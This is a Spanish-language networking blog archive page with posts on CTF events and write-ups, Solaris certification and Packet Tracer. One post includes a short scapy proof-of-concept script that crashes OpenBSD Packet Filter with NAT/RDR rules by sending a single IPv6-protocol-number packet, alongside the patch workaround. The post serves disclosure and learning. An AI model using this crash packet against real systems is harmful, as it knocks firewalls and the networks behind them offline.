Mostrando entradas con la etiqueta redes. Mostrar todas las entradas
Mostrando entradas con la etiqueta redes. Mostrar todas las entradas

viernes, 6 de julio de 2012

Misconfiguration CTF (#CPCO05 - 2012)

Este es el 3er año que participo diseñando retos de seguridad para el evento Campus Party Colombia (#CPCO05), para este año decidí crear un escenario nuevo teniendo como base los retos de seguridad informática tradicionales, pero agregando un factor diferenciador al no dar ni los retos, ni las pistas directamente.

El nombre del reto es Misconfiguration CTF (MISCONF - www.misconf.net -), la introducción al reto la pueden ver en el video grabado del evento, donde también se explican las reglas de juego y las recomendaciones (reglas opcionales).

En pocas palabras MISCONF presenta un escenario donde existen problemas de configuración, ya sea por negligencia, seguridad por oscuridad o simples errores humanos, para esto se (des)configuran diferentes servicios de red (web, correo, ftp, svn, etc) que están funcionando en puertos no estándares y que a su vez son los primeros lugares donde se extraen las banderas (códigos) que se pueden capturar en la plataforma web diseñada para este fin. Una vez identificados estos servicios mal configurados, se encuentran retos informáticos con niveles de dificultad básicos e intermedios, algunos de ellos relacionados con criptografía, reversing, web, esteganografia y networking.

Toda la información sobre el reto y como jugarlo la pueden encontrar en el pdf que se encuentra aquí.

El TOP 10 de los jugadores después de 3 días de juego se puede observar a continuación:


Oficialmente NO hubo un ganador para el reto MISCONF, ya que el objetivo era encontrar 30 banderas en el sistema objetivo y esto no lo logró ninguno de los jugadores, por este hecho se decidió evaluar los solucionarios enviados y calificar la calidad de los mismos, lo que dio como ganadores a los siguientes competidores:

(1) Yesid Gonzalez (@TrackerID) - Ganador de un Ultrabook Lenovo - Descargar solucionario
(2) Fernando Muñoz (acomodado) - Ganador de un D.D SSD de 240GB - Descargar solucionario

La tabla final de puntuación fue:


Hay que mencionar que ninguno de los solucionarios entregados cumplió con las expectativas del jurado, sin embargo como la idea de un evento como #CPCO05 siempre es entregar los premios, se valoró el esfuerzo de los competidores y se calificó en una escala de 1 a 10 la calidad de los informes. 

Con esto queda clara la importancia de hacer el esfuerzo en entregar solucionarios completos, donde se explique correctamente los procedimientos para resolver los retos y no simplemente se entregue la respuesta. De esta forma los participantes que no lograron solucionar los retos pueden aprender como hacerlo.

El jugador acomodado solicitó una explicación pública del porque se penalizaron los 6 puntos por no sustentar adecuadamente las banderas encontradas, el documento con la explicación se puede descargar desde aqui. Allí se puede leer claramente que no hay una explicación del procedimiento realizado para encontrar las banderas penalizadas.

Para finalizar quiero contarles, algunas estadísticas básicas del juego MISCONF:

El juego estuvo habilitado durante 3d+6.5h, en total fueron 2 servidores principales (ScoreBoard y Target) y dos servidores de respaldo que tuvieron un tráfico total  de 10GB in/out  y un total de 205 usuarios registrados, aunque la participación  activa fue de 100 usuarios. 

El ranking final de los usuarios que capturaron por lo menos una bandera se encuentra aqui.

Todo el TimeLine del juego lo pueden encontrar en la cuenta de twitter @misconf


IMHO, hay que recordar que el objetivo primordial de implementar un CTF dentro de un evento como Campus Party es aprender, construir y compartir conocimiento, tanto para las personas que diseñan los juegos, como para aquellos que los resuelven, en este sentido, considero que el objetivo se logró.

Esperemos que con el tiempo los participantes de este tipo de actividades puedan aprovechar estos espacios para dejar de un lado el mundo virtual y compartir realmente con las personas en 3D  y por ahí derecho dejar de sentir que el objetivo del JUEGO es solo obtener los premios.

Quiero dar un agradecimiento especial a los organizadores del área de seguridad en redes, por la calidad de los ponentes seleccionados, la organización en general de los espacios, los premios y por permitirme una vez mas participar con el diseño  de esta actividad.

Y quiero darle un gran saludo a los mas de 100 jugadores que se trasnocharon y se divirtieron solucionando las diferentes pruebas, no importa si solo lograron capturar una bandera, lo importante es aprender del proceso. Como les mencioné a algunos, intentaré sacar la versión en maquina virtual del TARGET, para que los que no alcanzaron a jugar se puedan desquitar ;)

Hasta la próxima.

miércoles, 14 de julio de 2010

Ruta de certificación en (Sun/Oracle) Solaris 10

Las rutas de certificación permiten que alguien tenga de forma clara hasta donde quiere llegar con un proceso de entrenamiento, generalmente son procesos que pueden durar varios años y se requiere una experiencia determinada para ir ascendiendo de escalón en escalón.

Si tomamos el sistema operativo Solaris como ejemplo, podemos ver que existen varias certificaciones y la ruta es la siguiente.

1. SCSAS (Sun Certified Solaris Associate)

Esta certificación es la mas básica y corresponde al nivel asociado, tal como CCNA en el mundo Cisco. Esta certificación es para las personas que quieren entrar en el mundo Unix y lo quieren hacer con un sistema ejemplo como lo es Solaris 10. Actualmente estas certificaciones son para la versión 10 de este Sistema Operativo, aquí se aprende como usar de forma básica un sistema Unix, su sistema de ficheros, sus editores, algunos comandos avanzados para la shell y algunos protocolos de transferencia de archivos remota.

Mas información:
http://in.sun.com/training/catalog/courses/CX-310-105.xml


2. SCSA (Sun Certified System Administrator)

Esta certificación se compone de dos partes, cada una con su temario independiente y los examenes se presentan por separado. Esta certificación es para las personas que quieren administrar sistemas Solaris en general, no con un enfoque de networking pero si haciendo las funciones de un sysadmin tradicional, cosas como instalar y desinstalar software y parches, administrar sistemas de archivos, administrar usuarios , perfiles y de elementos de red, hacer backups, también administrar los servicios de directorio donde se deben ver servicios como DNS, NIS+ y LDAP. En la parte final se aprende como hacer instalaciones automatizadas de este sistema operativo a través de la red LAN o WAN.

Mas información:

Parte 1:
http://in.sun.com/training/catalog/courses/CX-310-200.xml

Parte 2:
http://in.sun.com/training/catalog/courses/CX-310-202.xml


3. SCNA (Sun Certified Network Administrator)


Esta certificación se encuentra en un nivel profesional y es apta para aquellos que quieran administrar redes basadas en Sistemas Operativos Solaris. De todos los examenes de certificación de Solaris este fue el que me pareció mas complicado, aunque cuente con el menor temario. En este examen se abordan temas como la configuración de las interfaces de red (no es tan simple como se pensaría, sobre todo por el asunto de soporte de drivers, licencias y etc.), implementación de servicios de red, tales como DNS, DHCP y NTP, y por último se toca la configuración del firewall que para mi agrado es IP Filter y tiene una similitud con la sintaxis de Packet Filter ampliamente usado en los sistemas BSD.

Mas información:

http://in.sun.com/training/catalog/courses/CX-310-302.xml


4. SCSECA (Sun Certified Security Administrator)

En esta certificación podemos ver el uso avanzado de las herramientas propias del sistema Solaris, esta certificación esta diseñada para todos aquellos que quieran entender cual es la marcada diferencia que existe entre Solaris y otros Sistemas Operativos existentes. Si alguien quiere aprender como administrar la seguridad en sistemas Solaris este debe ser el objetivo.

Aquí se ve en detalle como hacerle hardening a un sistema Solaris recien instalado, como usar las características que vienen por omisión en los sistemas Solaris tales como el Solaris Cryptographic Framework o BART, también como asegurar los servicios que se instalan en el sistema ya sea a traves de herramientas sencillas o con la configuración avanzada de IPSEC, otro de los temas interesantes es el montaje de infraestructuras con kerberos y como usar servicios que se validen contra el master de kerberos, esto es, servicios "kerberizados" como el SSH, FTP, NFS o el proceso de login. Y por último y no por ser un tema aburrido, toda la parte de aseguramiento del componente de zonas en Solaris, que para el que no lo recuerde es la posibilidad de tener otras instancias de Solaris "corriendo" dentro de un solo Solaris global (virtualización).

Mas información:

http://in.sun.com/training/catalog/courses/CX-310-303.xml


En total son 5 examenes con un costo promedio de US$250 c/u, así que no vale la pena perderlos. Por el momento he llegado hasta esta última certificación y creo que no seguiré adelante, pues cada vez los temas se vuelven mas específicos y se requiere mas compromiso con el sistema operativo y yo sigo amando OpenBSD :P, por ahora invito a todas las personas que quieran entrar en estos procesos de certificación a que busquen espacios donde puedan practicar y personas que los puedan orientar para presentar estos examenes, a veces los "testkings" y los cursos teóricos no son suficientes si uno quiere aprender de verdad, a veces es mas divertido contar con un hacklab que tenga los recursos (técnicos y humanos) adecuados para afianzar ese conocimiento.

Si alguien requiere apoyo en estos temas o simplemente usa Solaris como "hobby" y quiere experimentar con algún proyecto en particular, no dude en contactarme.

Esta entrada que esta relacionada con las rutas de certificación me hace pensar en una idea que suena bastante interesante en mi cabeza, que tal que existiera un lugar abierto, con personas que saben de los temas y están dispuestos a compartirlos, un lugar que fuera como tener un laboratorio en casa, donde se pudieran seguir "rutas de certificaciones", pero para "temas" un poco diferentes, cosas como por ejemplo: Networking (Linux, BSD, MACOSX, Solaris, Plan9, OS400), Hacking, Ingenieria Inversa, Analisis forense, etc, etc, etc ...

Solo pienso que seria algo bastante interesante. :P

Espero que haya sido informativa esta entrada y nos vemos por ahí.

domingo, 13 de junio de 2010

Especialización: Seguridad en Redes


Para todos los interesados en el mundo de la seguridad que sean >= tecnologos, les cuento que el sena esta ofertando una especialización en seguridad en redes para este próximo semestre.

Como siempre el costo es $0 (cero pesos) y se garantiza una formación de alto nivel.

Todos los interesados pueden inscribirse usando la plataforma sofia y estar pendiente de los días de convocatoria pues se harán pruebas de selección para el ingreso (no se preocupen, no son muy exigentes).

La especialización estará disponible en la ciudad de Bogotá y Medellín, para mas información usen la plataforma sofia y busquen la palabra clave, seguridad en redes.

Invito a todos los egresados de administración de redes del sena a que se animen a continuar sus estudios con sus instructores favoritos ;)

Pd: para los que no alcancen, también hay una especialización en webmaster.

miércoles, 26 de mayo de 2010

Defcon CTF 2010 Quals


El pasado fin de semana,se realizaron las pruebas clasificatorias para el CTF de DefCon, en este post quiero contarles un poco de que se trata todo esto, quizas de esta forma para la próxima de animen a jugar.

En el mundo de la seguridad es muy común que las personas jueguen wargames, también conocidos como retos informáticos donde se pone un objetivo y las personas "juegan" a alcanzarlo. Pongo entre comillas juegan porque el que lee muy a la ligera piensa que se trata de un juego como XBOX o PLAY EXTATION y la verdad nada mas distante de la realidad. Estos juegos buscan que las personas demuestren sus habilidades en técnicas relacionadas con el mundo de la seguridad, podemos mencionar cosas como networking, hacking, reversing, análisis forense, programación, creatividad, innovación, auto control y un largo etcetera que perfilan a los competidores como auténticos hackers.


Generalmente estos wargames son organizados por personas conocedoras del tema que por simple diversión crean las plataformas tecnologicas del juego y diseñan los retos, pero en este caso especifico se hace como una actividad pre-clasificatoria a un evento similar pero con mas nivel llamado Capture The Flag (Captura la Bandera), este CTF se realiza durante una de las convenciones de hackers mas grandes que hay en el mundo: DefCon. Para poder participar (como jugador) en este evento es necesario clasificar primero, solo 9 equipos clasifican y tendrán la oportunidad de enfrentarse a nuevos desafíos durante el próximo Defcon 18.


La expresión Capturar la Bandera es muy común en algunos juegos de FPS, sin embargo existe una gran diferencia, la bandera esta representada por una clave o un archivo importante que contiene la pista final para pasar el reto. Así que cuando se dice que vamos a jugar CTF en unos prequals, lo que se quiere decir es que un grupo de personas nos vamos a reunir (física o lógicamente) a trabajar con nuestros computadores durante varias horas a intentar pasar retos informáticos hasta encontrar las claves válidas que nos permitan pasar a los siguientes niveles del juego. ¿Cúal es la motivación?, El conocimiento.


Entendido esto puedo empezar la entrada ;)

El pasado fin de semana, se realizaron las pruebas clasificatorias para el CTF de DefCon, esta es la primera vez que participo en estos prequals, siempre he jugado en otro tipo de wargames y bueno, porque no sacar un fin de semana para juntarme con amigos y aprender un poco mas?.


El juego empezó desde el viernes 21 de Mayo, me dí cuenta como a las 2 PM, desde ahí y hasta el domingo 23 de Mayo 9:00PM, jugamos sin parar :P

La prueba consistía en 30 niveles organizados por categorías: Trivias, Criptografía, Binarios, Paquetes de red, Explotación y Análisis Forense. Estas categorías a su vez estaban organizadas por orden de dificultad, los retos mas "sencillos" sumaban 100 puntos y los más dificiles (quien dijo imposibles?) sumaban 500. Para mejor comprensión observar la siguiente tabla.


¿En que consistía el juego?, en sumar todos los puntos que pudiéramos en 55 horas, todas las indicaciones estaban en el sitio de ddtek (http://quals.ddtek.biz/board.html), quienes fueron los encargados de montar los retos. Adicional se tenia un canal de IRC (irc.ddtek.biz:16667) para solucionar las dudas o para hablar con el resto de los concursantes.

Al final del juego quedamos en la posición 97/265 con un total de 1300 puntos.

Espero que para el próximo CTF hayan mas colombianos jugando y a los que estén cerca del HackLab, los invitamos a que se pongan en contacto y se unan a la diversión, entre mas jugadores participen, mas experiencia acumularemos y mas aprenderemos todos. Para los interesados, tenemos una lista de correo por medio de la cual se discuten los temas relacionados con los CTF y wargames en general.


Les dejo algunos enlaces interesantes.

Writeups (soluciones) DefCon CTF 2010 Quals (por el HackLab):

B100:
http://maybe-successful.blogspot.com/2010/05/defcon18-ctf-quals-binary-l33tness-100.html

C300:
http://maybe-successful.blogspot.com/2010/05/defcon18-ctf-quals-crypto-badness-300.html

T200:
http://nonroot.blogspot.com/2010/05/writeup-pt200-defcon-ctf-2010-quals.html

PKT300:
http://dumacx.blogspot.com/2010/05/el-fin-de-semana-pasado-entre-el-21-y.html

PKT100:
http://nonroot.blogspot.com/2010/05/writeup-pkt100-defcon-ctf-2010-quals.html


Writeups (soluciones) DefCon CTF 2010 Quals (resto do mundo):

Desde DefCon:
https://www.defcon.org/html/links/dc-ctf.html

VnSecurity:
http://www.vnsecurity.net/2010/05/defcon-18-quals-writeups-collection/

Pentester.es:
http://www.pentester.es/2010/05/defcon18-ctf-prequals-writeups.html


Hasta la próxima.

Writeup PKT100 DefCon CTF 2010 Quals

Este es el reto 100 de paquetes de red, en esta categoría generalmente se entrega un archivo .pcap que hay que analizar. En este caso el paquete de muestra tenia paquetes ping entre dos maquinas y como ayuda teniamos la pista: sumthing is not like other...

Este reto fué de nivel 100, pero creo que hizo llorar a mas de uno. Como siempre una vez visto el resultado todo parece tan fácil ;)

Lo primero que observamos es que el archivo viene comprimido con lzma:

>$file pkt100_6b233464726cfa8fa.pcap.lzma
pkt100_6b233464726cfa8fa.pcap.lzma: data
>$

lo descomprimimos entonces:

>$lzma -d pkt100_6b233464726cfa8fa.pcap.lzma
>$file pkt100_6b233464726cfa8fa.pcap
pkt100_6b233464726cfa8fa.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
>$

Lo cargamos en el wireshark y tratamos de entender de que se trata el asunto.


La pista nos daba a entender que algo en el paquete no era como los otros y al mezclar la palabra something con la palabra sum (de summary quizas), entendiamos que se trataba de algo en suma o resumen que no era como los demas ...

En este punto y para no hacer muy larga la historia (y el sufrimiento XD) podemos decir que se intentaron cosas como:
  • Verificar cada checksum de los paquetes tratando de encontrar incongruencias
  • Verificar posibles datos que identificaramos dentro del campo data de los paquetes icmp
  • Uno de los paquetes era diferente en bytes al resto, tenia 129 bytes, mientras el resto tenia 256, probamos todas las posibles claves relacionadas con ese paquete, se trata del primero, asi que probamos con uno, first, first packet, 1 frame, frame 1, frame 1 packet, etc.
  • También probamos con los nombres de cada campo del header IP e ICMP, pero tampoco dió resultado.
Algo que nunca vimos y que por ahí estaba el truco era que cada DATA del paquete ICMP era diferente, generalmente los PINGS son homogeneos tanto en la pregunta (ICMP tipo 8), como en la respuesta (ICMP tipo 0).

Como se soluciona el ejercicio?

Podemos hacer un pequeño script usando la libreria scapy:

>$cat sacadata.py
#!/usr/bin/env python
#Extrae la data de los paquetes ICMP que encuentre en
#el archivo .pcap, sys.argv[1] == paquete.pcap de entrada
import sys
from scapy.all import *
a=rdpcap(sys.argv[1])
for data in a:
print data.load
>$

Este script extraerá todos los campos DATA de los paquetes ICMP que se encuentre en el archivo .pcap. La salida de este script la podemos redireccionar a un archivo.

>$python sacadata.py pkt100_6b233464726cfa8fa.pcap > salida
>$tail -2 salida
��ighRSYgV�SXU��Rhf�XXRWf��dfVX�OdXTWdWWgPg�TgYP��iYXPhP���XgTXS4ffhSh�VS�ghj�4RO�TR�iTPWTdfUYShji�h�fVUXXg�Xd�XP�X�VYYfXUf�fdRh�X�gTfX�S�PTgd�4�YRghg�S�TdhS�iWRggTg�h�dOPOf���Ud�dR���jTOSUj�����jf�SO�Ud
UW�PVjOV�U�4�h��d�SUUUVYY�jV�YRSfRjPg�hi��S�ff�fPP�PS�fd�PgiVj��WVYgRY�Y�XRTUS�ijTRYW�jUdT4SRVfVRg�TgYV�WfgU�j��SP�OdT���W����Vf�i�RRXidUUYhWhVW�Uigj�iRPX�4��VUTgOSd�VS�SdRdgR�gSSURV�hj��PTi���S�OX��Sf�S
...

Al leer el archivo resultante nos damos cuenta que hay caracteres no imprimibles, y el comando file nos reporta lo siguiente:

>$file salida
salida: Non-ISO extended-ASCII text, with CRLF, CR, NEL line terminators
>$

Que hacemos entonces?, podemos pensar que el texto esta codificado y que seguramente existirá algo que lo decodifique. En este punto un pájaro cruza la ventana del HackLab y se posa en mi hombro y me twittea al oido lo siguiente:

yydecode, yydecode, yydecode ...


En un principio pense que eran cosas sin sentido, cosas de pajaros, pues que mas le puede decir a uno un pajaro a travez de su pico?

Pero despues me di cuenta que existe otra cosa diferente a base64 para hacer este tipo de codificación y que efectivamente yydecode y yencode son cosas que existen en este mundo.

Con esta pista clara, procedemos a decodificar el texto:

>$yydecode salida
yydecode: salida: No `=ybegin' or `begin' line found
>$

Supongo que yydecode requiere algo estandar para funcionar, así que descargo el yencode y lo uso a modo de prueba:

>$cat prueba.txt
esto es una prueba.
>$yencode prueba.txt
prueba.txt: prueba.txt.ync (1/1): file OK: (470.0%)
>$

El resultado queda en el archivo prueba.txt.ync

>$cat prueba.txt.ync
=ybegin line=128 size=20 name=prueba.txt
�J���J���X4
=yend size=20 crc32=087F0ABC
>$

De esta forma me doy cuenta como espera el yydecode que le pasemos el archivo, lo que hago es usar el archivo de salida del .pcap y agregarle las cabezeras del archivo de prueba. Al intentar decodificar el archivo, me dice que el original existe, entonces lo borro.

>$yydecode salida
yydecode: salida: prueba.txt: File exists
>$

Intento de nuevo.

>$yydecode salida
yydecode: salida: prueba.txt:1: Part longer than expected
yydecode: prueba.txt:1: Part broken (of 1 parts)
yydecode: prueba.txt: wrote 0 bytes; should have been 0
yydecode: prueba.txt: renamed to prueba.txt.broken
>$

Lo que me suponia, se requiere una longitud correcta y un CRC32 válido para el archivo para que el yydecode haga su trabajo.

=ybegin line=128 size=5000 name=prueba.txt

Edito el tamaño (variable size) a 5000 y pruebo nuevamente.

No funciona, que hago?, abro el editor nano y le doy CTRL + C para que me informe cuantos caracteres tiene el archivo:

[ line 66/67 (98%), col 128/128 (100%), char 8449/8450 (99%) ]

Pruebo cambiando el dato de los caracteres a 8450.

Ahora que el tamaño es correcto o por lo menos parece, yydecode arroja un error diferente:

>$yydecode salida
yydecode: salida: prueba.txt:1: Part CRC32 error -- got 0x6796de83, should be 0x087f0abc
yydecode: prueba.txt:1: Part broken (of 1 parts)
yydecode: prueba.txt: wrote 0 bytes; should have been
yydecode: prueba.txt: renamed to prueba.txt.broken
>$

Esto me indica que el CRC32 esta malo (obviamente) pero me hace el favor de recalcular uno correcto. Así que tomo el valor 0x6796de83 y edito el archivo.

=yend size=8450 crc32=0x6796de83

Pruebo nuevamente ...

>$yydecode salida
yydecode: salida: prueba.txt:1: warning: Wrong part size -- decoded 8384 bytes, expected 8450
yydecode: prueba.txt: wrote 8384 bytes; should have been 0
yydecode: prueba.txt: renamed to prueba.txt.broken
>$

Sigue generando errores pero me informa que gran parte del archivo fue decodificado (decoded 8384 bytes).

La salida la obtenemos en: prueba.txt.broken

>$tail prueba.txt.broken
+&?)^=>][+,+,]}.(}]?-?]--.@(%<|>*|%){^|=]}],&&|(-,*^<[/:+[{:{:/, @]@<{[{:-{:<)~,@=%-=~&>{,&(~.~&=|}&?(,&)=@&/^?<&-|{.)-(,:%[]<~<& :{.-,-[]:*>|*)/.=}>*~>%~)*]]-|//~|.^[},&]]<))%/=+..>?+&]<(%]|)-, *|&}@./*.&<<@-|%[[.%::{*{+~)&][.<{(]&::[,*&,)|>]),?}=*.^/+:?^)&[
]).%/(,>}=(>.@[~&{-+>}][=]}{-%=]/(^.+/(+(-<{:<,<+(+?>&&=,&-[-]|%
)>>)|/^-/,>+<*|>&|>@@^/?%^,*]={~~%>~&^},&)|>(<%&[=*|:%%?)~[(]@({ ~*+/&**=}:([*-{({+/=,|,:=?~&^,{^(~}))(/:(/{{@)&-}%,]@)>%))[^*=,]
~@,{|=]/+)>]=^&~%&%@[>=](}.?(=.}%~,](--.[.%~*-|)]->.]=-:??^&[<{[ ^)(]^&-*[//=+}]%{.)->%[?@(%>=^})|-^*{~|->&/*,?[[-&-=}-]:,%]&*(~[
...

Efectivamente el archivo esta decodificado y entonces?, cual es la clave?
Lo que hacemos es examinar todo el archivo y en algun lugar perdido encontramos un md5.


Para romper el md5 visitamos los sitios de siempre (google, bing, md5crack, passcracking). Recuerden siempre intentar encontrar bases de datos donde ya esten crackeados los MD5 que buscan antes de sacar sus propias tablas arcoiris, para los interesados les puedo enviar las del grupo por correo, solo pesan 150GB ;)

Finalmente usamos esta respuesta en la scoreboard del juego y ... nos damos cuenta que el juego ya se acabó y que estos 100 puntos se perdieron ;)

Como ven, era solo cuestión de entender un poco mas a fondo la estructura ICMP y pensar en que la DATA va encodeada, fácil, muy fácil XD.

lunes, 17 de agosto de 2009

Wargame in CP 2009 Valencia

Durante el Campus Party de Valencia, la gente de Security By Default montó un wargame bastante entretenido, el wargame esta reseñado en su sitio web, pero trataré de explicar como se solucionaban los niveles.

En total eran 16 niveles en 4 categorías:

Como pueden ver empecé a jugar, pero algunos niveles no los comprendí y otros no tenia idea de como hacerlos, como pasa en todos los wargames ...

Para mi este tipo de juegos son una oportunidad más de actualizarse en herramientas y por supuesto aprender un poco.

También se creó un canal de IRC para dar soporte a todos los jugadores inscritos, que en total pasaron de 70 ;)

En definitiva, quede como de sexto, no jugué el último día porque también había que trabajar, asi que solo tengo un pantallazo cuando íbamos en la mitad del juego. Felicitaciones a quienes hayan ganado el reto y un aplauso para todos los que trasnocharon por conseguir estar en el top(1) 5.
En próximas entradas explicaré como se solucionaban los niveles, aunque en el sitio oficial ya hay bastantes pistas sobre esto.
Si quieren trabajar sobre las soluciones ustedes mismos descarguen el archivo retos.tgz.

lunes, 13 de abril de 2009

Bug and Exploit for Packet Filter


Hace algunos días se publico un parche para las últimas versiones de OpenBSD, relacionado con Packet Filter. El problema si bien es muy simple es algo que nos pone a reflexionar sobre el mundo de la seguridad. Realmente queria hacer un post acerca de la seguridad en todos los aspectos, pero ya me dió pereza y me dió rabia que al tratar de encontrar información sobre los bugs de OpenBSD nadie explicara como funciona, aunque mi intención solo fuera aprender.

Y así pasa muchas veces, se anuncian los parches de seguridad, se arreglan (fix) los CVS, pero nadie dice nada, quizas por no alarmar, pero y los que queremos aprender un poco mas?, donde queda la comunidad de la seguridad?, la que no es la industria de la seguridad informática, ($$$$) sino los que quieren hacer investigación y entender bugs y exploits?

Ahggr!!!

Bueno, el bug de pf consiste en un paquete que no es capaz de manipular cuando pasa por medio de reglas NAT o RDR, en el reporte de seguridad dicen que se trata del manejo de un paquete IP relacionado con ICMPV6, lo que hice entonces fue lo siguiente:

1. Tratar de encontrar mas información en la lista misc@ de OpenBSD sin mucho éxito.

2. Leer el post oficial de la persona que encontro el Bug, de ahi se concluye que el bug se reproduce cuando se usa NMAP con la opción -sO.

3. Leer el manual de NMAP para entender que hace la opción -sO, concluyendo que el chequeo que realiza es un cambio del campo de protocolo en el encabezado IP, para averiguar cuales estan disponibles en el sistema que se esta escaneando.

4. Buscar la opción mas rápida para simular lo que hace el NMAP, pero al hacer pruebas, me encuentro con que NMAP randomiza los protocolos y por lo tanto no se cuando hace el panic.

5. Pongo un sniffer del otro lado (IP destino) y analizo cual es el último paquete antes de que se caiga el sistema.

6. Lo que hago a continuación es crear un pequeño script en python usando la libreria scapy e intentar un barrido cambiando el protocolo de los paquetes IP.

7. Al encontrar el protocolo "mágico", que obviamente seria el ICMPV6, arreglo el script para que solo envíe un paquete con el encabezado modificado a 58, donde 58 es el código del protocolo.

8. PLUMP!, al suelo OpenBSD :(

9. Sigo triste por este tipo de bugs tan tontos, que pasan desapercibidos, pero que confirman la ley universal: El código esta hecho por humanos, es vulnerable!.
(esta ley universal la estoy inventando)

Despues de ese analisis me quedan muchas dudas, me queda la duda de que pasa con todas las implementaciones de PF en otros Sistemas Operativos, por ejemplo FreeBSD, NetBSD, DragonFly y las distribuciones basadas en estos, por ejemplo el Firewall PFsense o el mismo ComixWall. Porque en los arboles CVS oficiales de estos proyectos no hay cambios?, porque si NetBSD tiene como último import el sistema BASE 4_4 de OpenBSD no ha parchado el PF?
Etc, etc.

Es posible que cualquier implementación de firewall basada en PF sea vulnerable, entonces hice un chequeo de los workarounds recomendados por los desarrolladores y SI funcionan (o que esperaban?) entonces mientras sale un parche para lo que sea que este usando, modifique sus reglas para que usen explicitamente el inet o el inet6, de esa forma no será vulnerable.

A continuación el código para crashear un OpenBSD con reglas nat o rdr básicas:

bash-3.2# cat exploit_pf.py
import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)
bash-3.2#
Esto lo que hace es enviar un paquete al host victima, obviamente OpenBSD debe estar en la mitad. Para mas información lea sobre scapy o impacket y lea el reporte de seguridad.

Las reglas que usé para testear desde adentro y desde afuera son:

externa="rl0"
interna="sis0"

nat log on $externa from !{$externa} to any -> ($externa)
rdr log on $externa from any to any -> 172.16.20.2
Donde 172.16.20.2 es el host destino para el envío del paquete, osea el que esta dentro de la LAN. Con las dos reglas el openBSD hace crash, sea desde la LAN --> WAN o desde la WAN --> LAN.

La forma de evitar este ataque es parchando el PF y recompilando el núcleo o con el workaround:

externa="rl0"
interna="sis0"

nat log on $externa inet proto {icmp tcp udp} from !{$externa} to any -> ($externa)
rdr log on $externa inet proto {icmp tcp udp} from any to any -> 172.16.20.2
bueno eso es todo, despues seguimos charlando ...

AAAgggrrr!!!

Update: respondio un usuario de la lista misc@, la solucion suya fue modificando el codigo de ping.c.

domingo, 15 de marzo de 2009

RIP 2 on OpenBSD 4.4

Los amigos de OpenBSD han generado un nuevo manual sobre como configurar OpenBSD como un enrutador RIP 2, si quieren leer mas sobre el tema, bajen el documento:

http://groups.google.com.co/group/OpenBSD-Colombia/files

jueves, 7 de agosto de 2008

Packet Tracer 5


¿ Conocen el software packet tracer de CISCO ?

Fig. Packet tracer en Linux

Para los que no saben que es, les cuento que este software es un complemento ideal para los manuales de redes, nos permite simular, visualizar, probar y probar montajes de red con diferentes protocolos y diferentes dispositivos activos. Puedo simular switchs, routers, access points, servidores dhcp, etc.

Cúal es la novedad?, o porque me animo a postearlo aquí?
Porque ya funciona en Linux, corre en Linux usando librerias QT y aunque no es software libre, se puede usar en ambientes academicos sin restricciones. Ademas la versión 5.0 recien salida, permite trabajar en red.

Que ventaja tiene esto?, que es posible a traves de internet o en una LAN realizar un montaje de red con varios packet tracer distribuidos, de esta forma cada componente de la red puede tener varios equipos clientes o servidor y así ...

En definitiva simular un paso mas a la realidad, realizando las conexiones del packet tracer con conexiones TCP entre las diferentes IPs.

He hecho pruebas entre un WinXP y un Linux Debian y no tuve ningún problema en usar la caracteristica "multiuser".

Más información en:
http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html

Off topic:
Por otro lado, me entró la curiosidad de cúal es la forma que usan para validarse entre los packet tracer de la red, puesto que requieren una clave para poder realizar la simulación ...

No avance mucho en esto porque me da pereza, pero luego lo retomaré...

Una pequeña prueba:

Usando una clave "12345" en ambos extremos:

74.0.PTMP.1.{b2232ec5-0000-4000-91b8-1d87f11e53f4}.2.1.1.4.20080807202649.2..
74.1.PTMP.1.{634e4574-3e04-4aa3-9cd9-631fbf02c99f}.2.1.1.4.20080808022701.2..
............%....
827ccb0eea8a706c4c34a16891f84e7b
yDQ9cbEQXkEFLD4t74XnkX6xvMEGTA4Z

Envio un string de 32 chars (a que se te parece?) y me devuelve uno de 32.

Cuando la clave es incorrecta pasa lo mismo y cada vez que hago la conexión se genera un valor diferente ...

Ahí se los dejo por si quieren investigar.

Entradas populares